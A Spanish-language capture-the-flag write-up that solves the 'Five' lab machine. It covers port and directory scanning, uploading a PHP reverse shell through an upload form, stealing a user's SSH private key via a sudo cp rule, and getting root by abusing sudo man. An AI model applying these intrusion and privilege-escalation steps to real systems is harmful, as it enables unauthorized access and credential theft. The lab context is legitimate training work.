Five
Volvemos a vernos con otra máquina clasificada como medium, en la cual no veremos ninguna técnica nueva en sí, pero nos hará pensar un poco fuera de la caja para poder resolverla.
Reconocimiento de Puertos
Como siempre, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:
❯ sudo ./nmapauto
[sudo] contraseña para kali:
[*] La IP de la máquina víctima es 192.168.1.134
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 00:11 CET
Initiating ARP Ping Scan at 00:11
Scanning 192.168.1.134 [1 port]
Completed ARP Ping Scan at 00:11, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 00:11
Scanning 192.168.1.134 [65535 ports]
Discovered open port 80/tcp on 192.168.1.134
Completed SYN Stealth Scan at 00:12, 2.67s elapsed (65535 total ports)
Nmap scan report for 192.168.1.134
Host is up, received arp-response (0.00024s latency).
Scanned at 2023-02-23 00:11:58 CET for 2s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:6C:DE:C3 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.88 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
[*] Escaneo avanzado de servicios
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 00:12 CET
Nmap scan report for 192.168.1.134
Host is up (0.00021s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: 403 Forbidden
| http-robots.txt: 1 disallowed entry
|_/admin
MAC Address: 08:00:27:6C:DE:C3 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds
[*] Escaneo completado, se ha generado el fichero InfoPuertos
Solamente tenemos puerto 80, y si miramos lo que muestra, sale el error “403 Forbidden”.
Así que toca hacer fuzzing.
Fuzzing
❯ feroxbuster -w=/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt,html -C 403,404 -u http://$ip -r
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.1.134
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
💢 Status Code Filters │ [403, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php, txt, html]
🏁 HTTP methods │ [GET]
📍 Follow Redirects │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 176l 445w 3866c http://192.168.1.134/admin/
200 GET 2l 8w 0c http://192.168.1.134/upload.php
200 GET 176l 445w 3866c http://192.168.1.134/admin/index.html
200 GET 15l 29w 346c http://192.168.1.134/upload.html
200 GET 2l 1w 17c http://192.168.1.134/robots.txt
[####################] - 4m 2646552/2646552 0s found:5 errors:146
[####################] - 4m 882184/882184 3249/s http://192.168.1.134/
[####################] - 4m 882184/882184 3256/s http://192.168.1.134/uploads/
[####################] - 4m 882184/882184 3259/s http://192.168.1.134/admin/
Encontramos varios recursos:
- robots.txt: “Disallow:/admin”
- /uploads: “403 Forbidden”
- upload.php: “Sorry, there was an error uploading your file.”
- /admin:
- upload.html:
Bien, /admin parece ser un formulario que no lleva a ningún sitio, sin embargo el formulario de upload.html sí que parece que nos permite subir ficheros.
Reverse shell
Ponemos el Netcat en escucha: nc -nlvp 1234
Ahora vamos a subir una reverse shell de PHP de https://pentestmonkey.net/tools/web-shells/php-reverse-shell como siempre con nuestra IP configurada.
Al subirla nos indica: “The file rev.php has been uploaded.”. Sin embargo al tratar de ejecutarla en http://192.168.1.134/uploads/rev.php no es posible, y en la raíz tampoco.
Vamos a capturar la petición con BurpSuite y ver si vemos algo.
Vamos a quitar el directorio “uploads/” de la petición de Burp y darle a “forward” para ejecutarla. Ahora supuestamente deberíamos poder activarla desde la raíz.
Bien, ya tenemos shell, por lo que antes de nada realizamos el tratamiento de la TTY para que sea completamente interactiva.
www-data@five:/$ export TERM=xterm-256color
www-data@five:/$ export SHELL=bash
www-data@five:/$ stty rows 44 columns 185
www-data@five:/$ cd /home
www-data@five:/$ ls
melisa
www-data@five:/home$ ls -l melisa
total 4
-rw------- 1 melisa melisa 14 Oct 5 2020 user.txt
No tenemos permiso para leer la primera flag, así que tenemos que buscar la forma de pivotar al usuario melisa. Como hacemos siempre, vamos a mirar la lista de permisos que tenemos para usar privilegios de otro usuario:
www-data@five:/home$ sudo -l
Matching Defaults entries for www-data on five:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on five:
(melisa) NOPASSWD: /bin/cp
Visto así, de primeras no se me ocurre para qué nos puede servir.
Si seguimos reconociendo el sistema y revisamos las conexiones internas, tanto TCP como UDP:
Vemos un puerto interno no accesible desde fuera, si investigamos qué es:
www-data@five:/home$ nc localhost 4444
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
Hemos descubierto acceso SSH, con lo cual, parece que ya encontramos el camino a seguir.
Como tenemos la posibilidad de ejecutar el comando cp como melisa, podemos intentar copiar su clave privada para conectarnos como ella por SSH.
Vamos a realizar las siguientes operaciones y a pasar a explicarlas:
www-data@five:/home$ cd /tmp
www-data@five:/tmp$ touch id_rsa
www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/clave/id_rsa
www-data@five:/tmp$ chmod 600 id_rsa
www-data@five:/tmp$ ssh-keygen -y -f id_rsa > id_rsa.pub
www-data@five:/tmp$ sudo -u melisa cp id_rsa.pub /home/melisa/.ssh/authorized_keys
- En primer lugar nos dirigiremos al directorio /tmp para tener permisos de lectura y escritura, y así poder manipular los ficheros
- Con touch lo que estamos realizando es generar un fichero (vacío), para que cuando copiemos la clave privada mantega los permisos del fichero creado y no del original, el cual heredaría sus permisos y no tendríamos capacidad de lectura
- Copiamos la clave privada del directorio personal de melisa
- Ponemos el permiso adecuado a la clave privada, donde solo nosotros podemos leer y escribir (si no al conectarnos nos dará error)
- Aquí generamos la clave pública a partir de la privada, pues se entiende que la clave pública la utilizará en otros servicios
- Ponemos la clave pública en el directorio personal de melisa para que pueda comprobar que nuestra clave privada coincide
SSH
www-data@five:/tmp$ ssh -i id_rsa melisa@localhost -p 4444
Could not create directory '/var/www/.ssh'.
The authenticity of host '[localhost]:4444 ([127.0.0.1]:4444)' can't be established.
ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 22 20:55:20 2023 from 127.0.0.1
melisa@five:~$ ls
user.txt
melisa@five:~$ cat user.txt
Pues ya tenemos la flag de user, así que toca ir a por la de root.
Escalada de privilegios
Vamos a revisar nuevamente los permisos que tenemos en este caso ya como melisa:
melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five:
(ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear
Como siempre echaremos mano de nuestro buen amigo https://gtfobins.github.io/gtfobins/man/#sudo donde podemos ver que el binario man será en este caso el que nos permita convertirnos en root. La escalada si bien no es difícil, se me hizo bastante liosa y tardé un poco en entederla.
El tema es que si hacemos lo que nos indica gtfobins:
sudo man man
!/bin/sh
El editor por defecto no nos permite insertar comandos para lanzar la bash. De esta forma si miramos el manual de man encontramos lo siguiente:
Teniendo esto claro, cambiamos el paginador por defecto a less y ya podemos ejecutar la bash:
melisa@five:~$ sudo man -P less id
root@five:/home/melisa# cd /root
root@five:~# ls
root.txt
root@five:~# cat root.txt
Máquina finalizada. Si bien no hemos aplicado técnicas nuevas, hemos abierto un poco la mente para resolver diferentes conceptos. Darle como siempre las gracias a sml por su trabajo para la comunidad. Nos vemos en la siguiente.